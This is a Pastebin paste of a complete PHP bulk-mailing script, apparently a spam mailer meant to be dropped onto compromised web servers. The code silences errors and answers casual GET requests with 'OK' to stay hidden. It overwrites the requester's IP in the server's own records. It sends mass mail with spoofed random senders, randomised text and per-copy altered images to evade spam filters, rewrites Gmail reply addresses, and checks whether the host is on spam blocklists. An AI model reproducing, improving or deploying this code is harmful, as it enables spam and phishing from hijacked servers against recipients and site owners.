Advertisement
PalmaSolutions

infodata.php

Jan 12th, 2018
725
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.31 KB | None | 0 0
  1. <?php
  2.  
  3. @error_reporting(0);
  4. @set_time_limit(150);
  5. @ignore_user_abort(true);
  6. @ini_set('max_execution_time',150);
  7.  
  8. if($_SERVER['REQUEST_METHOD']=='GET'){
  9. exit('OK');
  10. }
  11.  
  12. $randString=rand(1,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);
  13.  
  14. $compare=$_SERVER['REMOTE_ADDR'];
  15.  
  16. while($key=key($_SERVER)){
  17. if($_SERVER[$key]==$compare){
  18. @$_SERVER[$key]=$randString;
  19. }
  20. next($_SERVER);
  21. }
  22.  
  23. if(isset($_POST['ch'])===true){
  24. Check(); exit;
  25. }if(isset($_POST['sn'])===true){
  26. Send(); exit;
  27. }
  28.  
  29. function Send(){
  30. $replyto=urldecode($_POST['rpt']);
  31. if(strstr($replyto,'|')){
  32. $rand=explode('|',$replyto);
  33. $replyto=$rand[array_rand($rand)];
  34. }
  35.  
  36. $replyto=check_gmail($replyto);
  37.  
  38. $emails=urldecode($_POST['em']);
  39.  
  40. $ex=explode("\n",$emails);
  41.  
  42. if(!is_file($_FILES['file']['tmp_name'])){
  43. for($c=0,$max=sizeof($ex);$c<$max;$c++){
  44. $data=explode('|',trim($ex[$c]));
  45. $r_from=Random(dataHandler($_POST['f']),$data);
  46. $r_subject=dataHandler($_POST['s']); $r_message=$_POST['m'];
  47. $r_subject=str_ireplace('[from:]',$r_from,$r_subject);
  48. $r_subject=str_ireplace('[email:]',$data[0],$r_subject);
  49. $r_subject=Random($r_subject,$data);
  50. $r_message=str_ireplace('[from:]',$r_from,$r_message);
  51. $r_message=str_ireplace('[email:]',$data[0],$r_message);
  52. $r_message=Random($r_message,$data);
  53. $from_name=randText();
  54.  
  55. if($replyto==''){
  56. $reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
  57. }else{
  58. $reply=$replyto;
  59. }
  60.  
  61. if(!SMail($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
  62. print '*send:bad*'; exit;
  63. }
  64. }
  65. }else{
  66. for($c=0,$max=sizeof($ex);$c<$max;$c++){
  67. $data=explode('|',trim($ex[$c]));
  68. $r_from=Random(dataHandler(urldecode($_POST['f'])),$data);
  69. $r_subject=dataHandler(urldecode($_POST['s']));
  70. $r_message=urldecode($_POST['m']);
  71. $r_subject=str_ireplace('[from:]',$r_from,$r_subject);
  72. $r_subject=str_ireplace('[email:]',$data[0],$r_subject);
  73. $r_subject=Random($r_subject,$data);
  74. $r_message=str_ireplace('[from:]',$r_from,$r_message);
  75. $r_message=str_ireplace('[email:]',$data[0],$r_message);
  76. $r_message=Random($r_message,$data);
  77. $from_name=randText();
  78.  
  79. if($replyto==''){
  80. $reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
  81. }else{
  82. $reply=$replyto;
  83. }
  84.  
  85. if(!SendAttach($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
  86. print '*send:bad*'; exit;
  87. }
  88. }
  89. }
  90. print '*send:ok*'; exit;
  91. }
  92.  
  93. function SMail($to,$from,$message,$subject,$replyto,$from_name){
  94. if($_POST['tp']=='1'){ $type='text/html'; }
  95. else{ $type='text/plain'; }
  96. $header='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">\r\n";
  97. $header.='MIME-Version: 1.0'."\r\n";
  98. $header.='Content-Type: '.$type.'; charset="utf-8"'."\r\n";
  99. $header.='Reply-To: '.$replyto."\r\n";
  100. $header.='X-Mailer: PHP/'.phpversion();
  101.  
  102. if(mail($to,$subject,$message,$header)){
  103. return true;
  104. }
  105. return false;
  106. }
  107.  
  108. function SendAttach($to,$from,$message,$subject,$replyto,$from_name){
  109. $boundary=md5(uniqid()); $fileString=fileString($_FILES['file']['name']);
  110. if($_POST['tp']=='1'){ $type='text/html'; }
  111. else{ $type='text/plain'; }
  112. $filename=filename($_FILES['file']['name']);
  113.  
  114. $headers='MIME-Version: 1.0'."\r\n";
  115. $headers.='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."\r\n";
  116. $headers.='Reply-To: '.$replyto."\r\n";
  117. $headers.='X-Mailer: PHP/'.phpversion()."\r\n";
  118. $headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"\r\n\r\n";
  119.  
  120. $body='--'.$boundary."\r\n";
  121. $body.='Content-Type: '.$type.'; charset="utf-8"'."\r\n";
  122. $body.='Content-Transfer-Encoding: base64'."\r\n\r\n";
  123. $body.=chunk_split(base64_encode($message));
  124.  
  125. $body.= '--'.$boundary."\r\n";
  126. $body.='Content-Type: '.$_FILES['file']['type'].'; name="'.$filename.'"'."\r\n";
  127. $body.='Content-Disposition: attachment; filename="'.$filename.'"'."\r\n";
  128. $body.='Content-Transfer-Encoding: base64'."\r\n";
  129. $body.='X-Attachment-Id: '.rand(1000,99999)."\r\n\r\n";
  130. $body.=chunk_split(base64_encode($fileString));
  131.  
  132. if(mail($to,$subject,$body,$headers)){
  133. return true;
  134. }
  135. return false;
  136. }
  137.  
  138. function dataHandler($data){
  139. $ex=explode("\n",$data);
  140.  
  141. if(sizeof($ex)>1){
  142. return trim($ex[rand(0,sizeof($ex)-1)]);
  143. }
  144. return trim($data);
  145. }
  146.  
  147. function Random($text,$data){
  148. preg_match_all('#\[num:(.+?)\]#is',$text,$result2); $i=0;
  149. preg_match_all('#\[randM:(.+?)\]#is',$text,$result3); $q=0;
  150. preg_match_all('#\[randstr:(.+?)\]#is',$text,$result4); $w=0;
  151. preg_match_all('#\[var:(.+?)\]#is',$text,$result5); $e=0;
  152.  
  153. while($i<sizeof($result2[1])){
  154. $rand=explode('|',$result2[1][$i]);
  155. if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
  156. $rand=rand($rand[0],$rand[1]);
  157.  
  158. $text=str_replace_once($result2[0][$i],$rand,$text); $i++;
  159. }
  160.  
  161. while($q<sizeof($result3[1])){
  162. $rand=explode('|',$result3[1][$q]);
  163. $rand=$rand[array_rand($rand)];
  164.  
  165. $text=str_replace($result3[0][$q],$rand,$text); $q++;
  166. }
  167.  
  168. while($w<sizeof($result4[1])){
  169. $rand=explode('|',$result4[1][$w]);
  170. if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
  171. $rand=randString($rand[0],$rand[1]);
  172.  
  173. $text=str_replace_once($result4[0][$w],$rand,$text); $w++;
  174. }
  175.  
  176. while($e<sizeof($result5[1])){
  177. if(!is_numeric($result5[1][$e])){ continue; }
  178.  
  179. $text=str_replace($result5[0][$e],$data[$result5[1][$e]],$text); $e++;
  180. }
  181.  
  182. preg_match_all('#\[rand:(.+?)\]#is',$text,$result); $c=0;
  183.  
  184. while($c<sizeof($result[1])){
  185. $rand=explode('|',$result[1][$c]);
  186. $rand=$rand[array_rand($rand)];
  187.  
  188. $text=str_replace_once($result[0][$c],$rand,$text); $c++;
  189. }
  190.  
  191. return $text;
  192. }
  193.  
  194. function Check(){
  195. $crlf="\r\n";
  196.  
  197. if(isset($_POST['st'])===true){
  198. print '*valid:ok*'.$crlf;
  199. }if(isset($_POST['m'])===true){
  200. if(function_exists('mail')){
  201. $ex=explode(':',$_POST['m']);
  202. $email=$ex[0]; $attach=$ex[1]; $reply=$ex[2];
  203. $from_name=randText();
  204. $replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];
  205. if($reply=='1'){ $replyto=$email; }
  206. if($attach=='1'){
  207. if(CheckAttach($email,$replyto,$from_name)){
  208. print '*mail:ok*'.$crlf;
  209. }else{
  210. print '*mail:bad*'.$crlf;
  211. }
  212. }else{
  213. if(CheckMail($email,$replyto,$from_name)){
  214. print '*mail:ok*'.$crlf;
  215. }else{
  216. print '*mail:bad*'.$crlf;
  217. }
  218. }
  219. }else{
  220. print '*mail:bad*'.$crlf;
  221. }
  222. }if(isset($_POST['rb'])===true){
  223. $rbl=rbl();
  224. if($rbl==''){
  225. print '*rbl:ok*';
  226. }else{
  227. print '*rbl:'.$rbl.'*';
  228. }
  229. }
  230. }
  231.  
  232. function randString($min,$max){
  233. $str='qwertyuiopasdfghjklzxcvbnm';
  234. $size=rand($min,$max); $result='';
  235.  
  236. for($c=0;$c<$size;$c++){
  237. $result.=$str{rand(0,strlen($str)-1)};
  238. }
  239. return $result;
  240. }
  241.  
  242. function rbl(){
  243. $dnsbl_check=array('b.barracudacentral.org','xbl.spamhaus.org','sbl.spamhaus.org','zen.spamhaus.org','bl.spamcop.net');
  244. $ip=gethostbyname($_SERVER['HTTP_HOST']); $result='';
  245.  
  246. if($ip){
  247. $rip=implode('.',array_reverse(explode('.',$ip)));
  248. foreach($dnsbl_check as $val){
  249. if(checkdnsrr($rip.'.'.$val.'.','A'))
  250. $result.=$val.', ';
  251. }
  252. if(strlen($result)>2){ return substr($result,0,-2); }
  253. else{ return ''; }
  254. }else{
  255. return '*rbl:unknown*';
  256. }
  257. return '';
  258. }
  259.  
  260. function CheckMail($to,$reply,$from_name){
  261. $header='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">\r\n";
  262. $header.='MIME-Version: 1.0'."\r\n";
  263. $header.='Content-Type: text/html; charset="utf-8"'."\r\n";
  264. $header.='Reply-To: '.$reply."\r\n";
  265. $header.='X-Mailer: PHP/'.phpversion();
  266.  
  267. $message=text();
  268. $subject=$_SERVER['HTTP_HOST'];
  269.  
  270. if(mail($to,$subject,$message,$header)){
  271. return true;
  272. }
  273. return false;
  274. }
  275.  
  276. function CheckAttach($to,$reply,$from_name){
  277. $message=text();
  278. $subject=$_SERVER['HTTP_HOST'];
  279. $filename=filename('1.txt'); $boundary=md5(uniqid());
  280.  
  281. $headers='MIME-Version: 1.0'."\r\n";
  282. $headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."\r\n";
  283. $headers.='Reply-To: '.$reply."\r\n";
  284. $headers.='X-Mailer: PHP/'.phpversion()."\r\n";
  285. $headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"\r\n\r\n";
  286.  
  287. $body='--'.$boundary."\r\n";
  288. $body.='Content-Type: text/html; charset="utf-8"'."\r\n";
  289. $body.='Content-Transfer-Encoding: base64'."\r\n\r\n";
  290. $body.=chunk_split(base64_encode($message));
  291.  
  292. $body.= '--'.$boundary."\r\n";
  293. $body.='Content-Type: text/plain; name="'.$filename.'"'."\r\n";
  294. $body.='Content-Disposition: attachment; filename="'.$filename.'"'."\r\n";
  295. $body.='Content-Transfer-Encoding: base64'."\r\n";
  296. $body.='X-Attachment-Id: '.rand(1000,99999)."\r\n\r\n";
  297. $body.= chunk_split(base64_encode(text()));
  298.  
  299. if(mail($to,$subject,$body,$headers)){
  300. return true;
  301. }
  302. return false;
  303. }
  304.  
  305. function str_replace_once($search,$replace,$text){
  306. $pos=strpos($text, $search);
  307. return $pos!==false ? substr_replace($text,$replace,$pos,strlen($search)) : $text;
  308. }
  309.  
  310. function filename($name){
  311. $format=end(explode('.',$name));
  312. $array[]='SDC'; $array[]='P'; $array[]='DC'; $array[]='CAM'; $array[]='IMG-';
  313. $img=array('png','jpg','gif','jpeg','bmp');
  314.  
  315. for($c=0,$max=sizeof($img);$c<$max;$c++){
  316. if(strtolower($format)==$img[$c]){
  317. $rand=rand(10,999999);
  318. return $array[rand(0,4)].$rand.'.'.$format;
  319. }
  320. }
  321. return randText().'.'.$format;
  322. }
  323.  
  324. function fileString($name){
  325. $format=end(explode('.',$name));
  326.  
  327. if(strtolower($format)=='jpeg' or strtolower($format)=='jpg'){
  328. if(CheckRandIMG()){
  329. return RandIMG($_FILES['file']['tmp_name']);
  330. }
  331. }
  332. return file_get_contents($_FILES['file']['tmp_name']);
  333. }
  334.  
  335. function randText(){
  336. $str='qwertyuiopasdfghjklzxcvbnm';
  337. $size=rand(3,8); $result='';
  338.  
  339. for($c=0;$c<$size;$c++){
  340. $result.=$str{rand(0,strlen($str)-1)};
  341. }
  342. return $result;
  343. }
  344.  
  345. function text(){
  346. $str='qwertyuiopasdfghjklzxcvbnm';
  347. $size=rand(9,20); $result='';
  348.  
  349. for($c=0;$c<$size;$c++){
  350. $rand=rand(6,10);
  351.  
  352. for($i=0;$i<$rand;$i++){
  353. $result.=$str{rand(0,strlen($str)-1)};
  354. }
  355. $sign=array(' ',' ',' ',' ',', ','? ','. ','. ');
  356. $result.=$sign[rand(0,7)];
  357. }
  358. return trim($result);
  359. }
  360.  
  361. function CheckRandIMG(){
  362. $array=array(
  363. 'getimagesize',
  364. 'imagecreatetruecolor',
  365. 'imagecreatefromjpeg',
  366. 'imagecopyresampled',
  367. 'imagefilter',
  368. 'ob_start',
  369. 'imagejpeg',
  370. 'ob_get_clean'
  371. );
  372.  
  373. for($c=0,$max=sizeof($array);$c<$max;$c++){
  374. if(!function_exists($array[$c])){
  375. return false;
  376. }
  377. }
  378. return true;
  379. }
  380.  
  381. function RandIMG($file){
  382. $rand['width']=rand(1,2);
  383. $rand['height']=rand(1,2);
  384. $rand['quality']=rand(1,2);
  385. $rand['brightness']=rand(1,2);
  386. $rand['contrast']=rand(1,2);
  387.  
  388. list($width,$height)=getimagesize($file);
  389.  
  390. if($rand['width']==1){
  391. $sign=rand(1,2);
  392. if($sign==1){
  393. $new_width=$width+rand(1,10);
  394. }else{
  395. $new_width=$width-rand(1,10);
  396. }
  397. }else{
  398. $new_width=$width;
  399. }if($rand['height']==1){
  400. $sign=rand(1,2);
  401. if($sign==1){
  402. $new_height=$height+rand(1,10);
  403. }else{
  404. $new_height=$height-rand(1,10);
  405. }
  406. }else{
  407. $new_height=$height;
  408. }if($rand['quality']==1){
  409. $quality=75;
  410. }else{
  411. $quality=rand(65,105);
  412. }if($rand['brightness']==1){
  413. $brightness=rand(0,35);
  414. }else{
  415. $brightness=0;
  416. }if($rand['contrast']==1){
  417. $sign=rand(1,2);
  418. if($sign==1){ $sign='+'; }else{ $sign='-'; }
  419. $contrast=rand(1,15);
  420. }else{
  421. $sign='';
  422. $contrast=0;
  423. }
  424.  
  425. $image_p=imagecreatetruecolor($new_width,$new_height);
  426. $image=imagecreatefromjpeg($file);
  427. imagecopyresampled($image_p, $image,0,0,0,0,$new_width,$new_height,$width,$height);
  428. imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);
  429. imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);
  430. ob_start();
  431. imagejpeg($image_p,null,$quality);
  432. $out=ob_get_clean();
  433. imagedestroy($image_p);
  434.  
  435. return $out;
  436. }
  437.  
  438. function check_gmail($email){
  439. if(strstr($email,'@gmail.')){
  440. return RandGmail($email);
  441. }else{
  442. return $email;
  443. }
  444. }
  445.  
  446. function RandGmail($email){
  447. $login=explode('@',$email); $result='';
  448. $login=strtolower(str_replace('.','',$login[0]));
  449.  
  450. $size=strlen($login);
  451.  
  452. for($c=0,$max=$size;$c<$max;$c++){
  453. $up=rand(0,1); $dot=rand(0,1);
  454.  
  455. $symbol=$login{$c};
  456.  
  457. if($up==1){
  458. $symbol=strtoupper($symbol);
  459. }if($dot==1){
  460. $symbol=$symbol.'.';
  461. }
  462. $result.=$symbol;
  463. }
  464.  
  465. if(substr($result,-1)=='.'){
  466. $result=substr($result,0,-1);
  467. }
  468.  
  469. return $result.'@gmail.com';
  470. }
  471.  
  472. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement